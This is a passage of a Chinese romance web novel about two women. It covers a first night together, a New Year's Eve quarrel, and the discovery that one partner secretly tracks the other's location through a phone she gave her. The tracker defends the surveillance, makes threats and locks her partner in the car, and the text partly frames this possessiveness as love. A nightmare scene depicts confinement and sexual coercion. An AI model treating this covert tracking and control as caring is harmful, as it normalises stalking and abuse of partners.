姜又柠犹豫了下,还是摇了摇头,“我可没有表白的欲/望。” 她偷偷瞄了眼岑曳,别扭地用叉子去搅拌泡面,“我觉得暗恋就挺好的。” 虽然岑曳不明白化妆跟暗恋有什么关系,但她还是点了点头,没再聊这茬儿。 “姐姐,你说,二十多岁的人会嫌弃十几岁的人幼稚吗?” 岑曳皱了皱眉头,“要是有二十多岁的人跟你接触,马上告诉我!这人不会安什么好心的。” “没有啊,我每天都在学校老实待着呢……”姜又柠跪着的双腿打弯又直起来,如此反复,不知道该怎么说,“我是说做好朋友啦……” 岑曳乐了,“我们柠柠这么可爱,是个人都想跟你做朋友。” “可我又不想跟你做朋友……”姜又柠低声嘟囔了几句。 岑曳看向她,“什么?” 姜又柠摇摇头没说话。 没有被任何人知晓的少女心事一直维持到成年,生日夜那晚两个人亲吻了好久,突破了某道防线。 但确认关系后的一段时间,姜又柠看不出女人的主动。 她自己偷偷化了全妆,把洗漱间的门反锁了。 岑曳回家没见到她人,拍了几下洗漱间的门要她说话,生怕她独自在家出什么意外。 几分钟之后,姜又柠顶着一张白花花的脸开了门,两道眉毛又黑又浓,嘴巴也很红。 岑曳盯着她看了几秒钟,压下了嘴角的笑意。 “怎么突然化妆了?不是嫌麻烦?” 人还挺奇怪的,小时候看见新鲜的事情总想要尝试,但成年之后却开始犯懒,对过去感兴趣的事情统统以没精力的借口作罢了。 “我……” 她现在没有表白的欲/望,却有勾引岑曳的欲/望。 “我不好看吗?”姜又柠看见她嘴角努力按捺下的笑容了。 “没有啊,很可爱。” “那就是丑!人家都说,觉得一个人不好看的时候,就夸她可爱!” 没能成功以‘大美女’的状态勾引到岑曳,她有点崩溃,眼泪‘唰’地就落了下来。 黑色的睫毛膏混着眼泪落在颊边,岑曳把她拉出来,用卸妆油帮她擦脸。 “想化妆的话我帮你。”岑曳看了眼她的化妆品,蹙眉道,“杂牌化妆品不要买,伤皮肤。” “可是我想让你看到我有那种,blingbling的感觉!现在只有yueyueyue的感觉了……” 岑曳乐得笑出声来,“我们柠柠,怎么瞧都惹人爱呢。” 姜又柠说不出直白的话,只能在心裏默默嘀咕。 惹人爱为什么不主动? 她都跟她同睡了这么多天,一次都不做! “几点了……” “九点多了。”岑曳看了眼时间,“吃过饭了吗?” “吃过了,我要睡觉了!”姜又柠再次暗示她。 “嗯,那先洗澡。”岑曳帮她擦干净了脸,“自己洗澡的时候再用洗面奶洗一下脸,知道吗?” 姜又柠看见她回卧室拿睡衣,“也不说跟我一起洗……” 十点多的时候,两个人躺在了床上。 姜又柠想到刚才丢脸的事情,心跳得好快。 “姐姐,你摸摸我的心脏!”她抓过女人的手,“软不软?” 岑曳语塞,姜又柠顿了下,“不是,跳得快不快?” “快。”岑曳说,想问她是不是不舒服,但看她闹腾的样子又觉得不像。 “那我摸摸你的。”姜又柠摸了下女人的胸,“好软,但跳得不快……” 之后就没了动作,两个人就像谈了几十年的恋爱一般,毫无波澜地躺在一张床上。 “真的要我主动吗……”姜又柠喃喃道。 岑曳勾唇,侧躺着看她,“主动什么?” “没吃过猪肉也该看过猪跑吧……”姜又柠冷不丁地吐槽,“不对,我们也算吃过猪肉了……” “少看那些乱七八糟的视频。” “可是……”姜又柠回忆着,“她们就是先摸摸心跳,然后就那样这样了……” 前面还化了漂亮的妆的,但她学习得很失败,没能勾引到岑曳。 “姐姐,我睡不着。” “闭上眼睛不说话,心裏什么都不要想,这样会睡得快一点。” 什么嘛! 岑曳应该说,‘睡不着的话,那我们就做些别的事情?’ “姐姐,你有马甲线吗?”姜又柠又问。 “要定期去健身房锻炼吧,你想的话我可以试试。” “我看人家说,马甲线是有点硬的,坐上去还挺舒服的。”姜又柠去摸女人的小腹,“唉,也没有软软的肉肉……” “算了,我睡觉了。”姜又柠聊不下去了,闭上了眼睛。 改天她再学些新的,得找室友给她发些新的学习视频。 没几秒种女人就从身后抱紧了她,手不太安分,“软软的肉肉,我们柠柠身上倒是有。” 姜又柠倒吸了口凉气,很快就被女人压在了床上。 她看向她满是笑意的眼睛裏,从中捕捉到了几丝狡黠,“岑曳!你早都知道我的意思了!你是故意的!” 岑曳不满地拍她瀑处,“喊什么呢!” “岑曳岑曳岑……唔。” 女人的唇落了下来,抱着她亲。 她咬着姜又柠的唇,索取着她的呼吸。 期待中的事情终于发生了,在以为要落空的时候突然实现,就像一场天降的恩赐,让她很快就牢牢被控制在白色的世界裏,颤得无法自拔。 似蝴蝶翅膀震颤,似湖水流动,坠入深海,她被托举起来又放下,乘坐小船承受着海浪汹涌的拍打。 被浪掀翻的感觉真实又虚幻,她完全看不清当下的状况,便紧紧抱住岑曳,寻求着自己的唯一救星。 但她忘记了,海浪同样是女人带来的,于是她拖她下水,一通坠入深海。 倏地有烟花绚烂般地震颤,炸开的海盐味盖过沐浴露的香气,让她的脑子彻底晕眩,挣脱不得。 岑曳用指腹拨弄着她的睫毛,“我们柠柠的小脑袋瓜裏,每天怎么都装着这么多稀奇古怪的想法?” 初高中是这样,现在上了大学还是这样。 姜又柠小时候反驳她,‘是老师先在黑板上天马行空的!’ 现在的姜又柠无力反驳她,只是哼唧了几声,“你不是能明白吗!那你跟我一样稀奇古怪!” 岑曳是个坏姐姐,总在事/后起坏心思。 每次她被折腾得特烦,岑曳喜欢报复她,可她从来知错不改。 越是‘犯错’,就会被惩罚得越重,她骂岑曳跟学校的老古董教师一样,那岑曳就喊她,‘姜又柠同学,现在知道错了没?下次还会不会听岑老师的话?’ 她哭着喊着要退学,岑曳就按住她说,‘先把这节课上完。’ “你要对我好一点,不然我的下一个女朋友会心疼我的!” 说完,岑曳便重重咬她,挨了她好几脚踹都没松口。 女人的嘴唇上波光粼粼的,再次吻上她。 这一晚她被折腾得好惨…… 但总归是幸福的。 第二天姜又柠便忘记了疼痛,笑容满面地要岑曳陪她去玩儿。 她最喜欢周末了,什么都不用想,跟着岑曳就算只散步都很快乐。 遇到想要的,她就冲着女人眼睛亮亮地笑,粘腻地撒上几句娇就什么都有了。 她是很贪心,她恨不得岑曳把全世界上的一切都买给她。 她还想要天上的星星,但她更想陪岑曳一起去摘星星。 这么冒险的事情她当然要亲自去做。 恋爱总是酸甜苦辣的,可她们很少争吵,那些稀奇的怪味便藏在了日常生活中。 比如醉酒时被岑曳偷偷塞进嘴巴裏的柠檬,甚至是一小块生姜,看她扭曲着脸蛋,女人便乐出了声。 再或者在亲密的时候,她想玩些花样,却被岑曳的强迫症折磨到发疯。 “水都没了!”姜又柠气死了,恨不得坐她脸上肆意地磨。 岑曳的鼻子很挺,她早就想这么做了。 她一定要让岑曳狠狠地溺水! 甜的事情嘛,除了这些都是甜的,尤其是岑曳看她的那双眼睛,蜜都要从中溢出来。 逢年过节的晚上,市区裏装扮得很漂亮,岑曳拉着她的手,陪她在圆圆的臺阶上一圈一圈绕着走。 之后她跳下来,扑进女人怀裏,要女人温热的掌心帮她捂脸。 无论什么时候,姜又柠的眼睛总是充满了纯真的星星。 就像她的二十四岁,就像她们送了姜鸿英回宿舍,一起戴一条围巾笨拙地回家。 “又被漂亮的我迷住了吧!”姜又柠冲她眨眨眼睛,岑曳的思绪被勾了回来。 女人捏了捏她的脸,放开了她,把客厅的暖气打开了。 姜又柠把棉袄脱了,躺在沙发上刷手机,“下周元旦,跨年夜市区会放烟花哎!我们到时候一起去看!” “好啊。”岑曳欣然应允。 “我们好久都没有一起过年了。” 女人跟她挤在沙发上,吻了吻她,“以后每个新年都会一起过的。” 就像过去那样,眼前和耳边,都是灿烂的烟花,绽放到连整个人都颤个没完- 周一早上,庄玟到了部门上班,她已经打算继续做总部跟国内项目的对接工作。 “总部那边说过了,之后项目稳定后,会另外再找地方开新部门,你要是有意向的工作地点,可以跟总部写邮件申请。” “随便,离家近点儿就行。”庄玟现在完全懒得搭理总部那群业界毒瘤。 岑曳诧异地问,“哪裏?总部之前给你们安排的公寓还没到期吧?” “不是。”庄玟报出了她们所在的小区名字。 岑曳抿唇,“铁树开花开得还挺绚烂的。” “还行吧。”庄玟嘴上带了点儿笑,又莫名其妙重复了一句,“确实还行。” 部门内的人对于庄玟的到来都变得紧张起来,但上了几天班,发现庄玟的状态比之前轻松了很多。 胆子大的开会的时候问了岑曳几句,岑曳只回了句,‘我们庄负责人正在跟妻子热恋中。’ 众人了然。 天气也紧绷了好几天,终于在周五这天从阴天变成了小雨。 姜又柠烦死冬季的雨天了,冷风就喜欢往她围巾裏面钻,刺骨得冷。 在岑曳的威严之下,她被迫戴上了围巾、帽子、手套、口罩…… “口罩都戴上了我还怎么亲你?”姜又柠认为自己给了岑曳一个无法反驳的理由。 于是岑曳拉下她的口罩抱着她在办公室亲了好久,又帮她戴好口罩,盖住了满是红晕的脸颊。 下班之后,雨下得更大了。 但姜又柠觉得自己莫名其妙有点犟,天气越是糟糕,她就越是喜欢往外跑。 晚饭她就是想吃需要开车开一个小时才能吃到那家卖灌汤包的店。 岑曳无所谓,毫无怨言地开车带她去。 但雨下得越大,路就越堵,尤其是下班晚高峰。 “下雨了不好好待在家裏!都开着车在路上乱跑什么!”姜又柠拉下口罩愤怒地指责这些车子,被岑曳把口罩又拉了上去。 一路上她都在骂骂咧咧的,就像小猫被主人rua得不耐烦,喵喵叫了一整个小时。 到了目的地,岑曳要她老实坐在车上,自己打了把伞朝着店裏去。 饭点人多,这家店又过于火爆,姜又柠等得着急,跳下车子用手遮住脑袋急匆匆朝着岑曳跑。 女人始终注意着车子的方向,但还是没来得及走过去给她撑伞。 头发淋到了不少雨水,姜又柠完全不觉得难受,只是抱着岑曳蹭了蹭,“开心吗?” “开心什么?”女人皱着眉头,“不怕自己感冒?” “你不是说你就喜欢我下雨往你怀裏跑吗!” 老天也是个有眼色的,就喜欢看小情侣调/情。 “你知道我下雨喜欢做什么吗?” “做什么呀?”姜又柠嘴裏吃着热乎乎的灌汤包,被烫得舌尖探出来散热。 坐上车子关上门之后,周围安静下来,岑曳这才回答她。 “喜欢淋着,淋到满脸都是水。” 姜又柠愣了下,“……岑曳!这笼灌汤包我一个都不会留给你的!”—— 作者有话说:[爱心眼][爱心眼] 第75章 江诗文现在真有一种热恋中的错觉。 白茫茫的雪还没融化, 她跟庄玟手牵手,一起慢悠悠在小区裏散步回家。 这种恋爱错觉太令人着迷了。 “回头我们另外买套房子吧。”庄玟问她,“你这套不也是租的吗?” “对啊, 因为不了解国内房价的行情,也不知道自己会在国内呆多久,所以就先租了三年。”江诗文盘算着合同时间, “还有一年半呢。” “那时间很充足,够我们挑选合适的房子了。” 江诗文也不意外庄玟买房子的行为, 只是不确定地问她, “你真打算留在国内了?” 庄玟从小一直在国外生活, 比她留在国内的时间还短, 短短几个月就决定好下半辈子在哪裏久居,会不会过于草率了? “我没想过这些,我住哪裏一直是看工作要求。”庄玟说,“不过既然你决定好在国内生活了, 我只是不想让你住租的房子。” “我自己之后也可以买的。” “那不一样, 这是我们共同的房子。”庄玟说,“过去我对你的态度确实不够认真,这是我该弥补你的。” “你这个人……”江诗文咬唇,“还挺会吓唬人的。” “吓唬?”庄玟不了解,“我是认真的。” “我不是那个意思……”江诗文犹豫了几秒, 还是放弃解释, “你这个人太旧了, 一点都赶不上新时代的潮流。” 庄玟凝重道,“我会再多多上网的。” “那还是算了。”江诗文利索地打开门,摸了摸自己的肚子躺在沙发上,“姜阿姨的饭做得真好吃, 好久都没吃得这么饱了!” “西餐我很擅长。”庄玟扔下去一句话,回房间拿出了一个玻璃罐,“但中餐我也可以学。” “中餐得看天赋的!你行不行啊?不是两个面包片抹点黄油就行的!”江诗文余光撇了她一眼,看清女人手上的东西时便愣住了。 星星形状的玻璃罐裏装满了各种颜色的千纸鹤。 迭纸是她送给庄玟的,千纸鹤也是她教庄玟怎么迭的。 “这个给你。”庄玟说。 没等几秒钟江诗文的眼泪就落了下来,“干嘛这样……” 她之前是怼过庄玟的,庄玟问她喜欢手工礼物吗?她就说手工礼物不值钱;女人又问她喜欢珠宝吗?她说谈钱真没意思。 所以现在庄玟给她买房子,给她迭满满一大罐千纸鹤,心意和财富都给她。 庄玟看到她哭,皱了皱眉,“不喜欢?” “你连感动的眼泪和生气的眼泪都分不清吗?” 庄玟会心地笑了下,“抱歉,你喜欢就好。” “你什么时候迭了这么多……又在背着我偷偷加班!”江诗文没有犹豫,第一次主动扑进了女人的怀裏,将眼泪都蹭在了她的身上。 “你睡着的时候迭的。”庄玟回忆着她熟睡的样子,嘴角笑容依旧,“睡得那么熟,怎么吵都吵不醒。” “今天就不批评你了……”江诗文盯着她看,“就稍稍喜欢你一下吧……” 庄玟品味着她口中的‘喜欢’二字,“以后我努力让你再多喜欢我一点。” 江诗文点点头,抱她紧了些。 原来抛开冷淡的外表,庄玟的内心是如此柔软的一个人。 她的运气还是很好的,也愿意尝试着第一次为这个女人付出自己的真心- 第二个大项目正式开启之后,部门裏明显忙碌了起来。 岑曳的能耐部门裏都已经熟悉了,但多数人不太清楚庄玟跟她双管齐下的威力,这下多了不少怨言。 但奖金跟着工资一发,怨言全没了,每个员工下班都不乐意走,都抱着熬死一个同事就能多拿一份奖金的决心。 可部门裏唯独姜又柠不这样想,她不能把领导熬死了,这样她就没女朋友了。 元旦在周二,所以新周一上了一天班之后,傍晚一群人都拎着礼品回家了,不少人还拿走了工位上发的一支红色玫瑰花。 姜又柠急死了,说好了跨年夜要跟岑曳一起去市区看烟花。 一定得早点儿去,不然人太多到时候就找不到最好的观赏位置了。 可办公室的门还紧闭着,午休后就在开会了,这都几个小时了还没开完,消息也不见回。 门终于开的时候,岑曳急匆匆朝着她走过来。 “下班啦?”姜又柠眼睛亮了亮。 女人无奈摇头,“总部那边在商讨成立新部门的事情,方便庄玟那边带人去负责对接工作。” “那还要开多久啊……”姜又柠垮着脸,闷闷不乐。 “不太清楚。”岑曳露出歉意的神情,“我尽量快些,好不好?” 姜又柠抿抿唇,“我还跟诗文约好了呢,庄玟这下也去不了吧?” 说完,从门口那裏就由远及近传来一道熟悉的声音。 “下班了没!我们快些去吧!我刚刚看到路上已经有很多人了!”江诗文拉过一旁的办公椅坐下,看见两个人不算好的表情就了然了,“又加班啊?最近庄玟又染上了总部病!回家回得好晚。” “那我跟诗文先去吧?”姜又柠当机立断。 反正她是打算去拍照的,又不是去约会的,跟江诗文这个同频的人去看烟花当然也很不错。 “行啊!”江诗文看向了岑曳。 女人犹豫了下,捏了捏姜又柠的脸,“之后等忙完了,我补偿你,好不好?” “哼……”姜又柠翘了翘嘴角,“那我跟诗文先走了!” 天已经完全黑了,市区中心的广场上已经挤满了人。 情侣、家庭,还有拍摄的媒体和记者,热热闹闹的,满是新年的气氛。 姜又柠插/空往中心区走,拿出手机期待着烟花降临。 她给岑曳拍了张照片先发过去,才意识到自己的手机快没电了。 “没事儿,一会儿扫个充电宝吧。”江诗文说,同样给庄玟发了照片过去。 烟花是八点开始的,岑曳的消息回得很慢很简短,看来会议还没有任何要结束的样子。 “她们在总部的时候会都开这么长吗?” “重大项目会开得久一点吧。”江诗文思索道,“而且关系到新部门的成立,岑曳姐现在在国内这边话语权挺大的,所以她肯定要事事参与。” “没在部门上班,比我了解得还多哦!”姜又柠八卦了一句。 “哎呀你也可以问岑曳姐的嘛,庄玟这人吧,藏不住话,一问什么都跟我讲。” “我看是只跟你讲吧。”姜又柠乐呵呵的,伴随着第一个烟花的升起,她点开了录像。 绚烂的烟花接连不断,她狂按着相机键,每一个漂亮的烟花都不肯错过。 烟花分为上下两场,一次在八点,长达一小时,一次在十点,长达半小时。 九点十五的时候,她正整理着自己的相册,打算先发个朋友圈。 躺椅都坐满了人,她只能找了个臺阶坐下来。 “柠柠我去给你扫个充电宝。”江诗文很快跑开了。 岑曳终于开完了会,给她发了消息问她在广场的哪裏。 姜又柠拍了张照片打算发过去,人太多,网络信号也不好。 朋友圈发了好几分钟也还在转圈,给岑曳发的这张照片也是。 手机倏地震动一声,姜又柠看见关机倒计时三十秒钟,焦急地往周围看。 江诗文还没回来,她便也站起来跟她去了个相反的方向找充电宝。 但这一片充电宝都会扫光了,姜又柠无奈地翻了个白眼。 要不是得在这裏等岑曳过来,她甚至都想回家了,可现在也没手机给她发消息。 第一场的烟花已经足够漂亮了,外面很冷,第二场也不是非要等。 冷风刮过来,热闹的人群也没能挡住多少寒风,姜又柠打了个寒颤,只能漫无目的地走。 几个自助充电宝都空了,姜又柠嘆了口气,也不知道江诗文回来没有。 她重新往原来的臺阶走,以免跟她走丢了。 不远处的大本钟上挂着钟表,姜又柠眯了眯眼睛,“九点多少了啊……” 大过年的也不说把分针修一修,灯都不亮了,她根本都看不清楚几点。 越晚越冷,人不如最开始的拥挤了。 臺阶周围的长椅也空了,姜又柠坐下来,抱住自己,冷得牙齿都在打颤。 “岑曳……你怎么还没过来啊!我都要冻死了!” 直到一声烟花声‘嘭’得炸响天空,姜又柠才意识到已经十点了。 没几分钟,她像是察觉到什么,往不远处望过去。 岑曳正急匆匆朝着她走过来,面容上满是焦急的情绪,她拽过姜又柠的手腕,“为什么又关机?我急死了知不知道?” “没电了你干嘛这么凶嘛!”姜又柠不解,“我给你发图片了啊,我就在这儿等你,哪儿都没去!” 女人冷脸给她看了眼聊天框,最后一条是岑曳问她在广场哪裏。 “网络不好,没能在关机前发过去……”姜又柠摸了摸脸,有些刺痛,“我好冷啊……” 岑曳给她裹上一件宽大的棉袄,姜又柠不满意地挣扎了下,“我不要套两件,很肿的,活动起来也很不舒服!” “穿好!” 罕见的冷意让姜又柠愣了下,她看向岑曳的眼睛,呆滞地被女人强硬地裹上了笨重的棉袄。 “谁又得罪你了……又不是我让你跨年夜加班到这么晚的……” “没电了想想办法,你知不知道我看不见你的消息多着急!”岑曳也没在她身边坐下,抱胸冷脸睨她。 “充电宝都被别人扫光了!我又不是没想办法!” 好端端的来看烟花,她本来高高兴兴的,莫名其妙被岑曳一顿凶。 “你跟我耍什么脾气呢!”姜又柠吼她,“我大冷天等你这么久!我从下班就开始等!你考虑过我吗!我一星期前都跟你说好了!你总是临时出意外!” 岑曳意识到自己的语气过于着急了,便放软了,“那你跟我保持联系好不好?我真的很怕看不到你的消息。” “你强迫症能不能别总是发在我身上行不行?我就在广场上,哪儿都不会去的,我又不是小孩儿,会跟着别人乱跑,你担心就担心,跟我发火干什么!”姜又柠的脾气也上来了,此刻懒得跟她讲,“我不看了,我要回家了。” 岑曳拉过她的手,却被她甩开。 “这儿人多,车子没在这儿停,我拉着你走。”女人不由分说拉过她的手,不允许她挣脱开,“要生气回家跟我生气,别在外面耍性子。” 姜又柠听得更窝火了,她眼泪‘唰’地往下掉,猛地用袖口擦掉眼泪,本来想继续发洩,可一张嘴,就是满喉咙的酸涩。 “把你手机给我,我要给诗文打电话,她也去给我找充电宝了,我得跟她说一声。” “她跟庄玟在一起。”岑曳说着,还是把手机给她了。 姜又柠忍耐着自己的委屈,给江诗文发了条微信语音过去,要她不用担心。 江诗文那边迅速回了条消息。 【江诗文:没事的柠柠,你不看十点这场了吗?】 【江诗文:也是,太冷了,没事儿!等我回家了,我把第二场的视频照片都发给你!】 发完消息,她把自己的手机充上电。 手指又在下意识一键清后臺,退出的时候便误触到了被锁定的app。 是一张地图,上面有一个红点,位置就定在这辆车子上。 伴随着她自己手机充上电开机的声音,下一秒地图上就显示了第二个红点,刷新了之后两个红点迅速重合在了一起。 姜又柠的脑子懵了下,有个不太好的猜测在她心裏疯狂地蔓延生长。 “岑曳,你监视我?” 岑曳闻言,打算拿过手机,却被她背在身后。 “你用定位监视我!” 本来姜又柠还在怀疑,但看见岑曳沉默的样子就确认了。 “这是你送我新手机的目的吗!” 她彻底想明白了那些没有去深想的细节。 为什么她的手机关机之后,岑曳就会慌乱害怕? 关机之后,她的定位就无法显示在岑曳的手机上了。 她想要独自出国给岑曳一个惊喜,为什么岑曳能够一下子戳穿她生病请假在家的谎言,并且准确无误地找到她所在的酒店? 还有跟颜歆母女吃饭的时候,反问她怎么点了这么多菜? 以及今晚…… 每一次有破绽的共处,都是证明她猜测的有力证据。 “柠柠,我只是担心你。”岑曳蹙着眉头看她,“你不要多想。” “担心我?你送我手机的时候,我们根本都没有复合的想法。”姜又柠不知道为什么自己的脑子此刻反应如此迅速,“是我在跟歆歆姐相亲,被你知道之后,我的手机恰巧坏了,所以你就送了我新手机。” “你根本就不是担心我!你就是在监视我的社交!监视我的行为!” 岑曳沉默地看向她,但眸光中却满是痴迷的占有欲,“对,我确实不想让你跟别的女人相处,这是我的问题,但我之后也不会改。” 她知道自己的强迫症根本没有彻底缓解,在她一次次跟姜又柠分别,然后频繁看监控确保她所在的位置的时候,她就知道自己依旧病入膏肓。 哪怕知道姜又柠是安全的,哪怕她们刚刚聊过天,甚至一个人在工位上,一个人在办公室,她都想要看看姜又柠的位置。 一分钟几十次!手指停留在地图界面疯狂刷新放大! 她需要确保自己每时每秒都能够知道姜又柠处在安全范围内,并且没有跟别的女人见面。 “……你是这么自私的人吗?”姜又柠很难想象女人口中的话。 “柠柠,你是不是把我想得太好了?” 如果不是喜欢,她哪裏会高看几眼家政的女儿,哪裏会放弃总部优渥的人脉和资源,回国接部门这个烂摊子只为了赌见到她的概率? 她本来就不是善良的人,只是她心甘情愿只对姜又柠一个人好。 家教告诉她,人想要往高处爬,不能太善良,可她宁愿把所有的温柔都捧在手心裏,朝着姜又柠一人忠诚地献上去。 姜又柠很意外女人的话,但细想一下,好像也没错。 公司的人评价岑曳很准确,工作上雷厉风行,说一不二,虽然脸上始终带着笑,但手段也是分外强硬的。 但在日常相处中,她从来没觉得岑曳是这样的人,她只觉得岑曳温柔、对她好、有耐心。 她宁愿用世界上所有的褒义词去形容这个女人。 可她忘了岑曳的本性,为了她心甘情愿收敛起来的本性。 岑曳双手捧住姜又柠的脸,视线灼热地扫视着她的五官,“柠柠,别想着离开我。” 如果因为这种小事姜又柠要跟她再次提出断绝往来,那她不知道自己会做出什么事情—— 作者有话说:[狗头叼玫瑰][狗头叼玫瑰]《 》 75-80 第76章 回家的一路上都格外沉默, 跨年夜过于热闹了,就算广场的人没有最开始那么人多,但街上到处都是散步的人群, 成堆的小孩子手裏拿着仙女棒到处乱跑。 车子和人扎了堆,行驶得格外艰难。 姜又柠把岑曳手机上的app删掉了,还有些她不清楚的乱七八糟的英文app也全部删掉。 她这个时候才懒得管这些是不是工作软件, 岑曳平时会不会用到。 但姜又柠发现岑曳的手机东西其实很少,两百多g的内存连一半都没能用到。 不像她照片和视频都能占十几个g, 而岑曳的相册裏就只有几张她的照片。 微信裏面最常聊天的就是她, 还单独置了顶, 下面一排备注全是工作往来的对接人。 “我把软件删了。”姜又柠不想主动开口, 但还是说了,“删了好几个。” 岑曳扫她一眼,没说话。 姜又柠把手机扔回中控臺,越想越生气。 刚才女人的态度很坚决, 她的气撒不出去, 憋在肚子裏就全成了委屈。 眼泪依旧在流,她刚想透气,把车窗开了一半就被女人关上了。 “我要吹冷风!” 回答她的是车窗上锁的‘咔哒’声。 姜又柠哽咽着,车厢内过于寂静烦闷,她整个人都是懵的。 “你能不能让我下车啊?” 车门也是锁的, 她拧了几下把手烦躁地锤了下。 前面的路依旧堵着, 岑曳抓过她的手腕要她坐正, “老老实实坐好!” “你真没觉得自己有问题吗岑曳!”姜又柠不想听她讲话,“你能不能别管我?我自己会回家,我又不是不认得家裏的路!再这样我要跳车了!” “姜又柠,我不想跟你发火。”岑曳直勾勾地盯着她, “定位的帐你可以另外跟我算,你再讲一句跳车试试?” 姜又柠看向女人的双眸,裏面满是威胁的意味。 她甩开她的手,蜷缩在副驾驶上,别过头不想再看她。 车子开得很慢,暖气又足,她手机又在充电,此刻很快就睡着了。 梦裏她跟岑曳提了分手,女人抓起一旁的绳子将她捆起来,锁进了一片漆黑的屋子裏,无论她怎么喊女人都没给她开门。 一日三餐被准时送进来,岑曳抱着她上厕所,同时在手腕上缠绕了好几圈捆住她的那条绳子的另一端。 她找了个机会往外跑的时候,就被抓了回来按在床上掌/掴,屁股上全是红色的巴掌印。 女人掐住她的脖子不允许她离开,同时用手指疯狂刺激她,在她失/禁的一剎那,她猛然惊醒了。 这个噩梦做得很长,车子不知道什么时候已经开到了地下车库。 岑曳没有喊醒她,只是垂眸看着手机,严肃地发送着工作消息。 脑海裏闪过好几帧梦裏的场面,姜又柠浓重地喘气,口渴得很。 她打开车门一言不发往电梯的方向走,岑曳下了车跟在她后面。 “开门啊!”姜又柠手机和钥匙都没拿,使唤着岑曳。 女人开了门,她大步迈进去左脚踩右脚脱掉鞋子,回了自己的房间重重关上了门。 眼泪还是不争气地浸湿了枕头,姜又柠看见一旁的狐貍玩偶,用力锤了好几下,发出了低低的抽泣声。 没几秒钟就传来了敲门的声音,她用被子蒙住脑袋不想去听。 刚刚她就应该把门反锁的,她现在一点儿都不想看到她。 门被打开了,岑曳走到床边,“手机不要了?” “留给你吧,这样位置不一直是重合的了?”姜又柠反讽她。 “删掉了我还怎么看?”岑曳半躺在她身边,将她揽进怀裏,“我这下得亲自确认你在哪儿。” 姜又柠从她怀裏退出来,往墙边挪了下,“你能离我远点儿吗?还不想跟我发脾气,我现在也不想跟你发脾气。” 岑曳耐下性子,柔声道,“那你要怎么样才肯原谅我?” 姜又柠不喜欢她这种轻飘飘的语气,她扒开被子冲她喊,“要早知道会这样,我当初不会选择跟你复合的!” 她小时候没脑子,就觉得岑曳好。 但人长大之后会成熟很多,思想也会更加圆滑一些。 她忍不住去想,如果在还没有产生复合心意的时候,岑曳就暴露了强烈的占有欲,那她是会害怕地逃掉,还是依旧沦陷在其中? 姜又柠不知道过去的自己会怎么选。 可现在她只是觉得好生气。 “不会跟我复合吗?”岑曳略带失望地看她,“柠柠现在要讨厌我了吗?” 姜又柠怔愣地看她,说不出反悔的话,也说不出更加狠心的话来。 女人的视线在她脸上来回流连了十几秒,最后将她手机放在枕头边,轻轻离开了这裏。 “……烦死了!”姜又柠无力地躺下,整个人更加烦躁了。 好好地跨年夜没能继续,岑曳看见自己房间裏放着的玫瑰花和戒指,嘆了口气。 元旦当天,岑曳起了个大早做早餐,一直等到十点多,姜又柠都没起床。 手机上收到江诗文的一条消息。 【江诗文:岑曳姐,庄玟今天做了西餐,你跟柠柠一起来家裏吃啊!】 【江诗文:我给柠柠发消息,她非要我自己联系你过来。】 【江诗文:发生什么事儿了?】 【岑曳:她确定要过去了?】 【江诗文:柠柠已经答应我了,说十一点半到。】 【岑曳:我一会儿跟她一起过去。】 刚放下手机,姜又柠就顶着鸡窝头从房间裏出来了。 她路过餐桌这边,连个视线都不给就径直朝着洗漱间的方向走过去。 岑曳起身靠着门框,“昨晚几点睡的?” 姜又柠的眼睛红肿得很,想来哭了很久。 她没能及时安慰她,此刻看着她可怜的样子,心裏也难受得很。 姜又柠将牙刷塞进嘴裏,没有回答她。 “一会儿我跟你一起去诗文那儿。”岑曳说,“西餐可能吃不饱,吃太多可能会腻,我帮你把早餐热一热,你吃两口先垫垫肚子。” 余光瞥见女人离开,姜又柠吐掉了泡沫,又委屈得鼻子发酸。 她应该是很生气的,至少一个星期都不能理她,但此刻岑曳对她这么贴心,她自己又不争气地沁出了眼泪。 姜又柠洗漱好就回了房间换衣服,她鼻子嗅到早餐的香气,肚子咕咕叫了好几声。 但她穿好棉袄,也没有跟岑曳讲话,换好棉鞋就开门去了江诗文的家裏。 岑曳盯着热好的早餐,也没有任何怨言,跟在她身后慢悠悠地走。 元旦当天不少人都要出门,电梯很难等,姜又柠疯狂在心裏祈祷着岑曳不要马上跟出来,她最好跟她错开同一班电梯。 但很可惜,在她刚迈进电梯,门关了一半的时候,电梯再次开了。 岑曳跟她对视了眼,站到了她的旁边。 姜又柠轻轻哼了一声,惹得女人看她一眼,手往她那边碰了下,姜又柠便把双手插/进了棉袄口袋。 她今天一整天都不会牵她的手的! 电梯到了一楼,姜又柠快步往外面跑,她直奔江诗文那一栋,又不幸地跟岑曳坐上了同一班电梯。 两个人一前一后地在江诗文家裏的餐桌旁坐下。 “要不要我帮你们打下手?”姜又柠局促不安。 与其说是打下手,她则是在找借口跟岑曳离得远一点。 她现在不能表现出任何原谅的动作,不然岑曳看她放松得这么快,之后得寸进尺怎么办? 这次敢安装定位监视她,下次说不定就敢把她关在房间裏不准她出门。 姜又柠再次回想起车上的噩梦来,打算起身直接去厨房裏帮庄玟打下手,可下一秒就被江诗文拉了回来。 “不用,我们就在这裏等着就好!”江诗文看见了姜又柠红肿的眼睛,“你们昨晚……” 面前这两个人很明显是闹别扭了,她现在也处在粉红泡泡裏,对于小情侣之间那种微妙的气氛掌握得很到位。 再看一下姜又柠这个眼睛,该不会是昨晚做得太狠、哭得太惨,导致了这个小小的别扭吧? “你干嘛这个表情?”姜又柠看向她,“你家裏有没有冰块,我眼睛好酸。” “有啊!我给你拿!”江诗文语气裏的笑意藏不住。 她家柠柠真是练出来了,这种话都能够脸不红心不跳地讲出来了。 “给你。”江诗文手的方向一弯,把冰袋放在了岑曳的手上。 姜又柠诧异地看了一眼江诗文,瘪瘪嘴没说话。 岑曳挪了下椅子离她近了些,姜又柠立即挪远了。 如此反复了几次,女人抿唇开口,“现在也要跟我闹别扭吗?” 姜又柠知道她的意思是当着别人的面至少要装一下,不要闹得太明显,不然日后解释起来太麻烦。 可她就是生气。 岑曳见她坐着没动,捧着她的下巴,将冰袋敷在了她的眼睛上。 姜又柠逐渐坐得乖巧,岑曳便松开禁锢住她的手,顺势落在她的颈后,帮她不轻不重地揉按。 “不生气了,好不好?”岑曳站起来,垂眸认真看她。 “咳咳,我去看一看庄玟饭做得怎么样了……”江诗文‘嗖’地一下就没影儿了。 姜又柠依旧沉默着,她扣着自己的手指,感受着眼睛的酸涩逐渐缓解,依旧女人舒服的按摩。 “之前你跟颜歆相亲,我确实吃醋。”岑曳平静地说,“看见自己女朋友跟别人坐在一起,有说有笑地聊天,没有人会不生气。” 